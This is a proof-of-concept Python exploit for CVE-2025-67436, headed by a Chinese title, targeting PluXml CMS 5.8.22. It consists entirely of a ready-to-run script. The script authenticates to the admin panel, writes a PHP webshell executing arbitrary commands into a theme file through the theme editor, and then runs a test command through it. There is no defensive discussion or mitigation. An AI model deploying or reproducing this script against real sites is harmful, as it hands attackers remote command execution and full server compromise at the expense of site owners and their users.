CVE-2025-67436 PluXml CMS 5.8.22 管理员远程代码执行漏洞

# CVE-2025-67436 PoC - PluXml CMS Authenticated RCE # Target: PluXml CMS 5.8.22 # Attack Type: Authenticated Remote Code Execution via Theme File Injection import requests import sys from urllib.parse import quote TARGET_URL = "http://target.com/pluxml" USERNAME = "admin" PASSWORD = "admin123" THEME_NAME = "defaut" WEBSHELL_NAME = "home.php" def login(): """Authenticate to PluXml CMS admin panel""" session = requests.Session() login_url = f"{TARGET_URL}/core/admin/auth.php" login_data = { "login": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) return session if "Logged in" in response.text else None def inject_webshell(session): """Inject malicious PHP webshell into theme file""" edit_url = f"{TARGET_URL}/core/admin/theme.php" webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" file_data = { "theme": THEME_NAME, "file": WEBSHELL_NAME, "content": webshell, "save": "1" } response = session.post(edit_url, data=file_data) return ".htaccess" in response.text or response.status_code == 200 def execute_command(session, cmd): """Execute system command via injected webshell""" shell_url = f"{TARGET_URL}/themes/{THEME_NAME}/{WEBSHELL_NAME}" params = {"cmd": cmd} response = session.get(shell_url, params=params) return response.text def main(): print("[*] CVE-2025-67436 PluXml CMS RCE Exploit") print("[*] Authenticating to admin panel...") session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Injecting webshell...") if inject_webshell(session): print("[+] Webshell injected successfully") print("[*] Executing test command...") result = execute_command(session, "whoami") print(f"[+] Command output: {result}") else: print("[-] Webshell injection failed") if __name__ == "__main__": main()